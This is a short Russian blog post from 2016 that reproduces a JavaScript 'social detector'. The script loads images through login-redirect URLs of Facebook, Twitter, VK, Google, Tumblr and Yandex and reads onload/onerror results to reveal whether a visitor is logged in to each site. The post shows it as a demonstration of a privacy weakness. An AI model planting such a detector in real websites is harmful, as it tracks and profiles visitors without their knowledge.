пятница, 14 октября 2016 г.

Вы залогинены в соц сетях

Как бы уязвимость
script
var login = Object();

function login_status(a, b) {
    div = document.createElement('div');
 if (b == 1){
  div.innerHTML = a + ': logged in';
  div.style.color = 'red';
 } else {
  div.innerHTML = a + ': not logged in';
  div.style.color = 'green';
 }
 document.body.appendChild(div);
};

function img(a, b) {
    var i = new Image();
    i.onload = function () {
        login_status(b, 1);
        i = i.onload = i.onerror = undefined
    };
    i.onerror = function () {
        login_status(b, 0);
        i = i.onload = i.onerror = undefined
    };
    i.src = a
};


img('https://plus.google.com/up/?continue=https://www.google.com/intl/en/images/logos/accounts_logo.png&type=st&gpsrc=ogpy0&' + Math.random(), 'google plus');
img('https://twitter.com/login?redirect_after_login=%2Ffavicon.ico?' + Math.random(), 'twitter');
img('https://oauth.vk.com/authorize?client_id=-1&redirect_uri=favicon.ico&display=widget&' + Math.random(), 'vk');
img('https://www.facebook.com/login.php?next=http%3A%2F%2Fwww.facebook.com%2Ffavicon.ico/?' + Math.random(), 'facebook');
img('https://accounts.google.com/ServiceLogin?service=youtube&continue=https://www.google.com/intl/en/images/logos/accounts_logo.png?' + Math.random(), 'youtube');
img('https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://www.google.com/intl/en/images/logos/accounts_logo.png?' + Math.random(), 'gmail');
img('https://www.tumblr.com/login?redirect_to=%2ffavicon.ico?' + Math.random(), 'tumblr');
img('https://mail.yandex.ru/?retpath=https://mail.yandex.ru/favicon.ico?' + Math.random(), 'yandex');
/script
body
<--h1>W3 R W@TCH1N9 U!!!11
Social detector by Bushwhackers
Original: http://bushwhackers.ru/social_detector.html
Corrector: Bo0oM

/body

https://habrahabr.ru/post/312636/

Комментариев нет:

Отправить комментарий

media запрос для планшетов

/* Smartphones (portrait and landscape) ----------- */ @ media only screen and (min-device-width: 320px ) and (max-device-width: 480px ) ...